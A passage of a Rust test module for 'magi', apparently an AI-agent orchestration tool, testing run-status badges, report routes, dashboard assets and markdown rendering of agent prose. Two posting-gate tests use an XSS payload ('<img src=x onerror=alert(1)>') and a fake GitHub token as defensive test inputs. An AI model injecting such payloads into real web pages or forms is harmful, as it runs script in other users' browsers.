19518    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19519        let mut state = RunState::new(
19520            PathBuf::from("/repo/magi"),
19521            "main".to_owned(),
19522            "0123456789abcdef".to_owned(),
19523            "Review only".to_owned(),
19524            Config::default(),
19525        );
19526        state.id = "20260922-090200-dead".to_owned();
19527        state.status = RunStatus::Reviewing;
19528        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19529            .expect("serialize list row");
19530        assert_eq!(row["status"], "reviewing");
19531        assert_eq!(row["display_status"], "stale");
19532        assert_eq!(row["live"], "dead", "{row}");
19533        assert!(!row["done"].as_bool().unwrap());
19534    }
19535
19536    #[test]
19537    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19538        use crate::run::Liveness::{Dead, Live, Unknown};
19539        let mut state = RunState::new(
19540            PathBuf::from("/repo/magi"),
19541            "main".to_owned(),
19542            "abc".to_owned(),
19543            "Review only".to_owned(),
19544            Config::default(),
19545        );
19546        for (status, parked, node, waiting, live, expected) in [
19547            (
19548                RunStatus::Judging,
19549                true,
19550                "github-text",
19551                false,
19552                Dead,
19553                "parked",
19554            ),
19555            (RunStatus::Judging, false, "park", false, Dead, "stale"),
19556            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19557            (
19558                RunStatus::Judging,
19559                true,
19560                "github-text",
19561                true,
19562                Dead,
19563                "waiting",
19564            ),
19565            (
19566                RunStatus::Judging,
19567                false,
19568                "github-text",
19569                true,
19570                Dead,
19571                "waiting",
19572            ),
19573            (
19574                RunStatus::Judging,
19575                false,
19576                "github-text",
19577                false,
19578                Dead,
19579                "stale",
19580            ),
19581            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19582            (RunStatus::Judging, true, "park", false, Live, "judging"),
19583            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19584            (RunStatus::Merged, true, "park", false, Dead, "merged"),
19585            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19586            (
19587                RunStatus::Blocked,
19588                true,
19589                "github-text",
19590                true,
19591                Dead,
19592                "waiting",
19593            ),
19594        ] {
19595            state.status = status;
19596            state.parked = parked;
19597            state.events.clear();
19598            state.event(
19599                "park",
19600                "an earlier park does not determine the latest state",
19601            );
19602            state.event(node, "message is not used for classification");
19603            let summary = RunSummary::of(&state, waiting, live);
19604            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19605            assert_eq!(
19606                summary.display_status, expected,
19607                "{status:?}/{node}/{live:?}"
19608            );
19609            assert_eq!(detail.display_status, summary.display_status);
19610            assert_eq!(detail.waiting, summary.waiting);
19611        }
19612        state.status = RunStatus::Judging;
19613        state.parked = false;
19614        state.events.clear();
19615        assert_eq!(run_display_status(&state, false, Dead), "stale");
19616    }
19617
19618    #[test]
19619    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19620        use crate::run::Liveness::{Dead, Live, Unknown};
19621        let mut state = RunState::new(
19622            PathBuf::from("/repo/magi"),
19623            "main".to_owned(),
19624            "abc".to_owned(),
19625            "Badge".to_owned(),
19626            Config::default(),
19627        );
19628        for (status, waiting, live, superseded, expected) in [
19629            (RunStatus::Gating, false, Dead, false, "stale"),
19630            (RunStatus::Gating, false, Dead, true, "superseded"),
19631            (RunStatus::Gating, false, Unknown, true, "superseded"),
19632            (RunStatus::Gating, true, Dead, true, "superseded"),
19633            (RunStatus::Gating, true, Dead, false, "waiting"),
19634            (RunStatus::Gating, false, Unknown, false, "gating"),
19635            (RunStatus::Gating, false, Live, true, "gating"),
19636            (RunStatus::Gating, true, Live, true, "waiting"),
19637            (RunStatus::Merged, false, Dead, true, "merged"),
19638            (RunStatus::Blocked, false, Dead, true, "blocked"),
19639        ] {
19640            state.status = status;
19641            let display = run_display_status(&state, waiting, live);
19642            assert_eq!(
19643                run_badge_status(&state, &display, live, superseded),
19644                expected,
19645                "{status:?}/{live:?}/superseded={superseded}"
19646            );
19647        }
19648    }
19649
19650    #[test]
19651    fn summarize_and_detail_expose_badge_status() {
19652        use crate::run::Liveness::Dead;
19653        let mut state = RunState::new(
19654            PathBuf::from("/repo/magi"),
19655            "main".to_owned(),
19656            "abc".to_owned(),
19657            "Badge".to_owned(),
19658            Config::default(),
19659        );
19660        state.status = RunStatus::Gating;
19661        let none = HashSet::new();
19662        let id = state.id.clone();
19663        let mut by = HashMap::new();
19664        let rows = summarize(
19665            [state.clone()],
19666            &none,
19667            &none,
19668            &by,
19669            |_| Some(false),
19670            |_| None,
19671        );
19672        // No driver recorded: liveness is not provably dead, so the node stays.
19673        assert_eq!(rows[0].badge_status, rows[0].display_status);
19674        by.insert(id, "20260901-000000-913b".to_owned());
19675        let detail = RunDetailView::of(
19676            state.clone(),
19677            false,
19678            Dead,
19679            Some("913b".to_owned()),
19680            None,
19681            None,
19682        );
19683        assert_eq!(detail.badge_status, "superseded");
19684        let json = serde_json::to_value(&detail).unwrap();
19685        assert_eq!(json["badge_status"], "superseded");
19686        let detail = RunDetailView::of(state, false, Dead, None, None, None);
19687        assert_eq!(detail.badge_status, "stale");
19688    }
19689
19690    #[tokio::test]
19691    async fn run_display_status_routes_share_the_open_question_store() {
19692        let f = Fixture::start().await;
19693        let id = "20260922-090200-abcd";
19694        write_run(&f.runs(), id, RunStatus::Judging);
19695        let mut state = read_run(&f.runs(), id).unwrap();
19696        state.parked = true;
19697        state.driver_exited = true;
19698        state.event("github-text", "waiting for the owner");
19699        state.save_under(f.home.path()).unwrap();
19700        let mut task = Task::new(
19701            "resumed task".to_owned(),
19702            "do it".to_owned(),
19703            PathBuf::from("/repo"),
19704            Source::Human,
19705        );
19706        task.runs = vec![id.to_owned(), id.to_owned()];
19707        f.queue().put(&mut task).unwrap();
19708        let store = f.questions();
19709        let mut q = Question::new(
19710            id.to_owned(),
19711            "github-text".to_owned(),
19712            "owner".to_owned(),
19713            "Approve the text?".to_owned(),
19714            String::new(),
19715            Vec::new(),
19716        );
19717        store.put(&mut q).unwrap();
19718        for expected in ["waiting", "parked"] {
19719            let list = f.get("/api/runs").await.json();
19720            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19721            assert_eq!(list[0]["display_status"], expected);
19722            assert_eq!(detail["display_status"], expected);
19723            assert_eq!(detail["waiting"], list[0]["waiting"]);
19724            assert_eq!(list[0]["badge_status"], expected);
19725            assert_eq!(detail["badge_status"], expected);
19726            assert!(list[0]["superseded_by"].is_null());
19727            assert!(detail["superseded_by"].is_null());
19728            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19729            let history = task_detail["history"].as_array().unwrap();
19730            assert_eq!(history.len(), 2);
19731            assert!(history[0]["badge"].is_null());
19732            assert_eq!(history[1]["badge"], expected);
19733            q.status = ask::QuestionStatus::Answered;
19734            store.put(&mut q).unwrap();
19735        }
19736    }
19737
19738    #[tokio::test]
19739    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19740        let f = Fixture::start().await;
19741        let id = "20260922-090200-abcd";
19742        write_run(&f.runs(), id, RunStatus::Judging);
19743        let mut state = read_run(&f.runs(), id).unwrap();
19744        state.parked = true;
19745        state.driver_exited = true;
19746        state.event("park", "stopped at a node boundary");
19747        state.save_under(f.home.path()).unwrap();
19748
19749        for expected in ["parked", "stale"] {
19750            let list = f.get("/api/runs").await.json();
19751            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19752            assert_eq!(list[0]["live"], "dead");
19753            assert_eq!(list[0]["display_status"], expected);
19754            assert_eq!(detail["display_status"], expected);
19755            // Model a driver claim followed by a crash before the next event:
19756            // the persisted flag changes, but the last event is still park.
19757            state.parked = false;
19758            state.save_under(f.home.path()).unwrap();
19759        }
19760    }
19761
19762    #[tokio::test]
19763    async fn the_run_list_is_newest_first_and_honours_a_limit() {
19764        let f = Fixture::start().await;
19765        for id in [
19766            "20260902-140501-aaaa",
19767            "20260902-140502-bbbb",
19768            "20260902-140503-cccc",
19769        ] {
19770            write_run(&f.runs(), id, RunStatus::Merged);
19771        }
19772
19773        let all = f.get("/api/runs").await.json();
19774        let capped = f.get("/api/runs?limit=2").await.json();
19775
19776        assert_eq!(all[0]["id"], "20260902-140503-cccc");
19777        assert_eq!(all.as_array().map(Vec::len), Some(3));
19778        assert_eq!(capped.as_array().map(Vec::len), Some(2));
19779        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19780    }
19781
19782    #[tokio::test]
19783    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19784        let f = Fixture::start().await;
19785        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19786
19787        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19788
19789        assert_eq!(res.status, 200);
19790        assert!(
19791            res.headers
19792                .contains("content-type: text/plain; charset=utf-8"),
19793            "a browser must render it, not download it: {}",
19794            res.headers
19795        );
19796        // The assertion is on content, not on the absence of escapes: colour
19797        // is a process-global that `serve` turns off at startup, and another
19798        // test in this binary may own it while this one runs.
19799        assert!(
19800            res.body.contains("20260902-140501-a1b2"),
19801            "the report is about the run that was asked for: {}",
19802            res.body
19803        );
19804    }
19805
19806    #[tokio::test]
19807    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19808        // The view names the run's state directory, which reads the process-global home.
19809        crate::run::pin_test_home();
19810        let f = Fixture::start().await;
19811        let id = "20260902-140501-a1b2";
19812        write_run(&f.runs(), id, RunStatus::Stalled);
19813        // A stalled panel and one review round, written through the real
19814        // state file so the route reads what a run really leaves behind.
19815        let path = f.runs().join(id).join("run.json");
19816        let mut v: serde_json::Value =
19817            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19818        v["tally"] = serde_json::json!({
19819            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19820            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19821            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19822            "met_quorum": false, "rankings": 1
19823        });
19824        v["reviews"] = serde_json::json!([{
19825            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19826            "e2e_deferred": true,
19827            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19828                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19829            ]}]
19830        }]);
19831        std::fs::write(&path, v.to_string()).unwrap();
19832        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19833        std::fs::write(
19834            f.runs().join("20260902-140502-dead").join("run.json"),
19835            "{not json",
19836        )
19837        .unwrap();
19838
19839        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19840
19841        assert_eq!(res.status, 200, "{}", res.body);
19842        assert!(res.headers.contains("content-type: application/json"));
19843        let j = res.json();
19844        assert_eq!(j["schema"], 1);
19845        assert_eq!(j["header"]["id"], id);
19846        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19847        let kinds: Vec<&str> = j["sections"]
19848            .as_array()
19849            .unwrap()
19850            .iter()
19851            .map(|s| s["kind"].as_str().unwrap())
19852            .collect();
19853        assert_eq!(kinds, ["candidates", "tally", "review"]);
19854        let tally = &j["sections"][1]["tally"];
19855        assert_eq!(
19856            (tally["decided"].clone(), tally["provisional"].clone()),
19857            (false.into(), true.into())
19858        );
19859        let round = &j["sections"][2]["rounds"][0];
19860        assert_eq!(round["e2e"]["state"], "deferred");
19861        assert_eq!(round["findings"][0]["severity"], "major");
19862        assert_eq!(round["findings"][0]["blocking"], true);
19863        assert_eq!(round["findings"][0]["state"], "open");
19864
19865        // The raw route keeps working beside it.
19866        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19867
19868        // An unreadable run is an error, as on the text route, and is counted.
19869        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19870        assert_ne!(bad.status, 200, "{}", bad.body);
19871        assert_eq!(
19872            bad.status,
19873            f.get("/api/runs/20260902-140502-dead/report").await.status
19874        );
19875        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19876        assert_eq!(
19877            f.get("/api/runs/20260902-999999-ffff/report.json")
19878                .await
19879                .status,
19880            404
19881        );
19882    }
19883
19884    #[tokio::test]
19885    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19886        crate::run::pin_test_home();
19887        let f = Fixture::start().await;
19888        let id = "20260902-140503-delib";
19889        write_run(&f.runs(), id, RunStatus::Merged);
19890        let path = f.runs().join(id).join("run.json");
19891        let mut v: serde_json::Value =
19892            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19893        v["judgements"] = serde_json::json!([
19894            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19895        ]);
19896        v["tally"] = serde_json::json!({
19897            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19898            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19899            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19900            "met_quorum": true, "rankings": 1
19901        });
19902        v["deliberation"] = serde_json::json!([
19903            {
19904                "round": 1,
19905                "turns": [
19906                    {
19907                        "judge": 1,
19908                        "agent": "judge-1",
19909                        "body": "I prefer candidate **A** because it has cleaner tests.",
19910                        "tentative": "A"
19911                    }
19912                ]
19913            },
19914            {
19915                "round": 2,
19916                "turns": [
19917                    {
19918                        "judge": 1,
19919                        "agent": "judge-1",
19920                        "body": "Still thinking, no choice yet.",
19921                        "tentative": null
19922                    }
19923                ]
19924            }
19925        ]);
19926        std::fs::write(&path, v.to_string()).unwrap();
19927
19928        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19929        assert_eq!(res.status, 200, "{}", res.body);
19930        let j = res.json();
19931        let judging = j["sections"]
19932            .as_array()
19933            .unwrap()
19934            .iter()
19935            .find(|s| s["kind"] == "judging")
19936            .expect("judging section exists");
19937
19938        // Existing summary lines remain intact
19939        let delib_lines = judging["deliberation"].as_array().unwrap();
19940        assert_eq!(delib_lines.len(), 2);
19941        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19942        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19943
19944        // rounds carry turn bodies, tentative and parsed body_md
19945        let rounds = judging["rounds"].as_array().unwrap();
19946        assert_eq!(rounds.len(), 2);
19947        let r1_t0 = &rounds[0]["turns"][0];
19948        assert_eq!(r1_t0["judge"], 1);
19949        assert_eq!(r1_t0["agent"], "judge-1");
19950        assert_eq!(r1_t0["tentative"], "A");
19951        assert_eq!(
19952            r1_t0["body"],
19953            "I prefer candidate **A** because it has cleaner tests."
19954        );
19955        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19956
19957        let r2_t0 = &rounds[1]["turns"][0];
19958        assert_eq!(r2_t0["judge"], 1);
19959        assert_eq!(r2_t0["agent"], "judge-1");
19960        assert!(r2_t0["tentative"].is_null());
19961        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19962        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19963
19964        // A run with empty deliberation array yields empty rounds
19965        let id_empty = "20260902-140504-nodelib";
19966        write_run(&f.runs(), id_empty, RunStatus::Merged);
19967        let path_empty = f.runs().join(id_empty).join("run.json");
19968        let mut v_empty: serde_json::Value =
19969            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19970        v_empty["judgements"] = serde_json::json!([
19971            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19972        ]);
19973        v_empty["deliberation"] = serde_json::json!([]);
19974        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19975
19976        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19977        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19978        let j_empty = res_empty.json();
19979        let judging_empty = j_empty["sections"]
19980            .as_array()
19981            .unwrap()
19982            .iter()
19983            .find(|s| s["kind"] == "judging")
19984            .expect("judging section exists");
19985        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19986    }
19987
19988    #[tokio::test]
19989    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19990        let f = Fixture::start().await;
19991
19992        let html = f.get("/").await;
19993        let css = f.get("/app.css").await;
19994        let js = f.get("/app.js").await;
19995
19996        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19997        assert!(
19998            html.headers
19999                .contains("content-type: text/html; charset=utf-8")
20000        );
20001        assert!(css.headers.contains("content-type: text/css"));
20002        assert!(js.headers.contains("content-type: text/javascript"));
20003        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20004    }
20005
20006    #[test]
20007    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20008        let body = |name: &str| {
20009            let at = APP_JS
20010                .find(name)
20011                .unwrap_or_else(|| panic!("{name} missing"));
20012            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20013        };
20014        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
20015        let note = body("function landRoundNote");
20016        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
20017        assert!(note.contains("Land round ${round}"));
20018        let land = body("function renderLand");
20019        let note_at = land
20020            .find("landRoundNote(pr)")
20021            .expect("renderLand uses the note");
20022        assert!(
20023            note_at
20024                < land
20025                    .find("roundRail(pr)")
20026                    .expect("renderLand uses the rail")
20027        );
20028    }
20029
20030    #[test]
20031    fn the_runs_page_redesign_keeps_its_guards() {
20032        let body = |name: &str| {
20033            let at = APP_JS
20034                .find(name)
20035                .unwrap_or_else(|| panic!("{name} missing"));
20036            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20037        };
20038        // A null child must never reach the native append (it prints "null").
20039        let land = body("function renderLand");
20040        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
20041        assert!(
20042            !land.contains("box.append("),
20043            "renderLand must use append()"
20044        );
20045        assert!(land.contains("append(box, ["));
20046        // Tabs are hash routes; the run id alone decides a reload.
20047        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
20048        assert!(
20049            body("function applyRoute")
20050                .contains("route.name !== state.route.name || route.id !== state.route.id")
20051        );
20052        // The decorative diagram is gone, the strip and its guards stay.
20053        assert!(!APP_JS.contains("adviseConvergeDiagram"));
20054        assert!(!INDEX_HTML.contains("advise-converge"));
20055        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
20056        assert!(APP_JS.contains("provisional"));
20057        for id in [
20058            "run-tab-overview",
20059            "run-tab-timeline",
20060            "run-tab-report",
20061            "run-report",
20062            "runs-scope",
20063        ] {
20064            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
20065        }
20066        assert!(!INDEX_HTML.contains("runs-tree"));
20067        assert!(!INDEX_HTML.contains("run-raw-panel"));
20068        // Fold still says it cannot be resumed.
20069        assert!(APP_JS.contains("resume"));
20070        // The unreadable-runs count stays on the page.
20071        assert!(APP_JS.contains("unreadable"));
20072    }
20073
20074    #[test]
20075    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
20076        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
20077        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
20078        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
20079        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
20080        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
20081        // The subtitle still counts them whatever the banner does.
20082        assert!(APP_JS.contains("unreadable` : null"));
20083    }
20084
20085    #[test]
20086    fn blocked_run_detail_exposes_the_failed_gate_reason() {
20087        let mut state = RunState::new(
20088            "/repo".into(),
20089            "main".into(),
20090            "abc".into(),
20091            "task".into(),
20092            crate::config::Config::default(),
20093        );
20094        state.status = RunStatus::Blocked;
20095        state.gate_ran = true;
20096        state.gate.push(crate::run::CommandOutcome {
20097            command: "cargo make check".into(),
20098            code: Some(1),
20099            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
20100            duration_ms: 0,
20101            resource_blocked: false,
20102        });
20103        let view = RunDetailView::of(
20104            state,
20105            false,
20106            crate::run::Liveness::Unknown,
20107            None,
20108            None,
20109            None,
20110        );
20111        let value = serde_json::to_value(view).unwrap();
20112        assert_eq!(
20113            value["stop_reason"],
20114            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
20115        );
20116    }
20117
20118    #[test]
20119    fn the_run_detail_payload_says_whether_the_run_is_done() {
20120        // `landView` reads `run.done`; the detail response must carry it.
20121        for (status, done) in [
20122            (RunStatus::Superseded, true),
20123            (RunStatus::Blocked, true),
20124            (RunStatus::Landing, false),
20125        ] {
20126            let mut state = RunState::new(
20127                std::path::PathBuf::from("/repo"),
20128                "main".to_owned(),
20129                "abc".to_owned(),
20130                "x".to_owned(),
20131                crate::config::Config::default(),
20132            );
20133            state.status = status;
20134            let v = serde_json::to_value(RunDetailView::of(
20135                state,
20136                false,
20137                crate::run::Liveness::Unknown,
20138                None,
20139                None,
20140                None,
20141            ))
20142            .unwrap();
20143            assert_eq!(v["done"], done, "{status:?}");
20144        }
20145    }
20146
20147    /// The first node of a markdown block holds a `strong` somewhere.
20148    fn has_strong(nodes: &[md::Node]) -> bool {
20149        serde_json::to_string(nodes).unwrap().contains("strong")
20150    }
20151
20152    #[test]
20153    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
20154        let mut state = RunState::new(
20155            std::path::PathBuf::from("/repo"),
20156            "main".to_owned(),
20157            "abc".to_owned(),
20158            "x".to_owned(),
20159            crate::config::Config::default(),
20160        );
20161        let proposal = |approach: &str| {
20162            serde_json::json!({
20163                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
20164            })
20165        };
20166        state.advice = Some(
20167            serde_json::from_value(serde_json::json!({
20168                "records": [
20169                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
20170                     "proposal": proposal("do **this**")},
20171                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
20172                ],
20173                "synthesis": "- one\n- **two**\n\n`code`",
20174            }))
20175            .unwrap(),
20176        );
20177        state.candidates = serde_json::from_value(serde_json::json!([
20178            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20179             "summary": "did **it**"},
20180            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20181        ]))
20182        .unwrap();
20183        // Recorded in ascending severity, the reverse of how the page sorts
20184        // them: the arrays must follow the record, not the display.
20185        state.reviews = serde_json::from_value(serde_json::json!([{
20186            "round": 1, "head": "h",
20187            "reviews": [{
20188                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20189                "findings": [
20190                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
20191                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20192                ],
20193            }],
20194            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20195            "fix": {"agent": "a", "notes": "fixed **it**",
20196                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20197        }, {"round": 2, "head": "h2", "reviews": []}]))
20198        .unwrap();
20199
20200        let v = serde_json::to_value(RunDetailView::of(
20201            state,
20202            false,
20203            crate::run::Liveness::Unknown,
20204            None,
20205            None,
20206            None,
20207        ))
20208        .unwrap();
20209
20210        let strong = |p: &str| {
20211            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20212            assert!(n.to_string().contains("strong"), "{p}: {n}");
20213        };
20214        strong("/advice_md/synthesis");
20215        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20216        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20217        strong("/advice_md/approaches/0");
20218        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20219        strong("/candidate_summaries_md/0");
20220        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20221        strong("/reviews_md/0/reviewers/0/summary");
20222        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20223        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20224        assert!(f[1].to_string().contains("strong"));
20225        strong("/reviews_md/0/reconsideration/0");
20226        strong("/reviews_md/0/fix/notes");
20227        strong("/reviews_md/0/fix/rejected/0");
20228        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20229        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20230        // The raw strings stay, and no schema moved.
20231        assert_eq!(v["candidates"][0]["summary"], "did **it**");
20232        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20233    }
20234
20235    #[test]
20236    fn a_run_without_advice_has_no_advice_md() {
20237        let state = RunState::new(
20238            std::path::PathBuf::from("/repo"),
20239            "main".to_owned(),
20240            "abc".to_owned(),
20241            "x".to_owned(),
20242            crate::config::Config::default(),
20243        );
20244        let p = run_prose_md(&state);
20245        assert!(p.advice_md.is_none());
20246        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20247    }
20248
20249    #[test]
20250    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20251        let store = ask::Questions::at(PathBuf::from("unused"));
20252        let gt = crate::github_text::Withheld {
20253            title: false,
20254            body: true,
20255            categories: vec!["sensitive-data".into()],
20256        };
20257        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20258        let (detail, comparison) =
20259            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20260        let mut q = Question::new(
20261            "r".into(),
20262            "github-text".into(),
20263            "posting-gate".into(),
20264            "s".into(),
20265            detail,
20266            Vec::new(),
20267        );
20268        assert!(
20269            QuestionView::of(q.clone(), &store, None)
20270                .posting_view
20271                .is_none()
20272        );
20273        q.posting_comparison = Some(comparison);
20274        let view = QuestionView::of(q.clone(), &store, None);
20275        let field = &view.posting_view.unwrap().fields[0];
20276        assert_eq!(
20277            field
20278                .original
20279                .iter()
20280                .map(|f| f.text.as_str())
20281                .collect::<String>(),
20282            body
20283        );
20284        assert!(field.original[0].text.starts_with("<img"));
20285        let original_question: Question =
20286            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20287        assert_eq!(original_question, q);
20288        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20289            .original
20290            .start = 1;
20291        assert!(
20292            QuestionView::of(q.clone(), &store, None)
20293                .posting_view
20294                .is_none()
20295        );
20296        q.posting_comparison = original_question.posting_comparison;
20297        q.detail.push_str("extra context");
20298        assert!(
20299            QuestionView::of(q.clone(), &store, None)
20300                .posting_view
20301                .is_some()
20302        );
20303        q.detail.insert(0, 'x');
20304        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20305    }
20306
20307    #[test]
20308    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20309        let store = ask::Questions::at(PathBuf::from("unused"));
20310        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20311        let gt = crate::github_text::Withheld::from_check(
20312            &crate::github_text::check("fix: x", body),
20313            "fix: x",
20314            body,
20315        )
20316        .unwrap();
20317        let (detail, comparison) =
20318            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20319        let mut q = Question::new(
20320            "r".into(),
20321            "github-text".into(),
20322            "posting-gate".into(),
20323            "s".into(),
20324            detail,
20325            Vec::new(),
20326        );
20327        q.posting_comparison = Some(comparison);
20328        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20329        let field = &value["posting_view"]["fields"][0];
20330        let group = &field["replacement_group"];
20331        let triggers = group["triggers"].as_array().unwrap();
20332        assert_eq!(triggers.len(), 2);
20333        assert_ne!(triggers[0], triggers[1]);
20334        for id in triggers {
20335            assert!(
20336                field["original"]
20337                    .as_array()
20338                    .unwrap()
20339                    .iter()
20340                    .any(|f| &f["pair"] == id)
20341            );
20342            assert!(
20343                !field["changed"]
20344                    .as_array()
20345                    .unwrap()
20346                    .iter()
20347                    .any(|f| &f["pair"] == id)
20348            );
20349        }
20350        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20351            group["id"].as_u64().unwrap() as usize;
20352        assert!(
20353            QuestionView::of(q, &store, None).posting_view.is_none(),
20354            "group and trigger IDs cannot collide"
20355        );
20356    }
20357
20358    #[test]
20359    fn a_question_view_carries_markdown_for_each_thread_turn() {
20360        let home = TempDir::new().unwrap();
20361        let store = ask::Questions::at(home.path().join("questions"));
20362        let mut q = Question::new(
20363            "run".to_owned(),
20364            "implement".to_owned(),
20365            "impl-A".to_owned(),
20366            "which?".to_owned(),
20367            String::new(),
20368            Vec::new(),
20369        );
20370        q.say("plain words").unwrap();
20371        q.reply("use **this**", Vec::new()).unwrap();
20372        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20373        let bodies = &v["thread_bodies_md"];
20374        assert_eq!(bodies.as_array().unwrap().len(), 2);
20375        assert!(!bodies[0].to_string().contains("strong"));
20376        assert!(bodies[1].to_string().contains("strong"));
20377    }
20378
20379    #[test]
20380    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20381        let home = TempDir::new().unwrap();
20382        let store = ask::Questions::at(home.path().join("questions"));
20383        let mut q = Question::new(
20384            "run".to_owned(),
20385            "conduct".to_owned(),
20386            "conduct".to_owned(),
20387            "which?".to_owned(),
20388            String::new(),
20389            Vec::new(),
20390        );
20391        q.say("plain words").unwrap();
20392        q.thread.push(ask::Turn {
20393            who: ask::Who::Agent,
20394            body: "Settled as `merge`".to_owned(),
20395            at: jiff::Timestamp::now(),
20396            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20397        });
